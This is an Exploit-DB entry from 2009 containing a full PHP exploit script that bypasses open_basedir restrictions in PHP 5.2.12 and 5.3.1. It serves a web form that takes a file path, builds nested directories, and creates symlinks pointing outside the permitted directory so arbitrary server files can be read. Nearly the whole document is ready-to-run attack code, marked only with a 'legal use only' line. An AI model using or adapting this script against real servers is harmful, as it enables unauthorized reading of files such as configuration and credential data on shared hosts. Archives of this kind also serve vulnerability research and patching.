PHP 5.2.12/5.3.1 - 'symlink()' open_basedir Bypass

EDB-ID:

10557


Platform:

PHP

Published:

2009-12-19

<?php
/*
PHP 5.2.12/5.3.1 symlink() open_basedir bypass 
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG
*/

$fakedir="cx";
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";

echo '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a
href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs.
Author : Maksymilian Arciemowicz
<p>Script for legal use only.
<p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
<p>More: <a href="http://securityreason.com/">SecurityReason</a>
<p><form name="form"
 action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';

if(empty($file))
	exit;

if(!is_writable("."))
	die("not writable directory");

$level=0;

for($as=0;$as<$fakedep;$as++){
	if(!file_exists($fakedir))
		mkdir($fakedir);
	chdir($fakedir);
}

while(1<$as--) chdir("..");

$hardstyle = explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){
	if(!empty($hardstyle[$a])){
		if(!file_exists($hardstyle[$a])) 
			mkdir($hardstyle[$a]);
		chdir($hardstyle[$a]);
		$as++;
	}
}
$as++;
while($as--)
	chdir("..");

@rmdir("fakesymlink");
@unlink("fakesymlink");

@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

// this loop will skip allready created symlinks.
while(1)
	if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
	else $num++;

@unlink("fakesymlink");
mkdir("fakesymlink");

die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

?>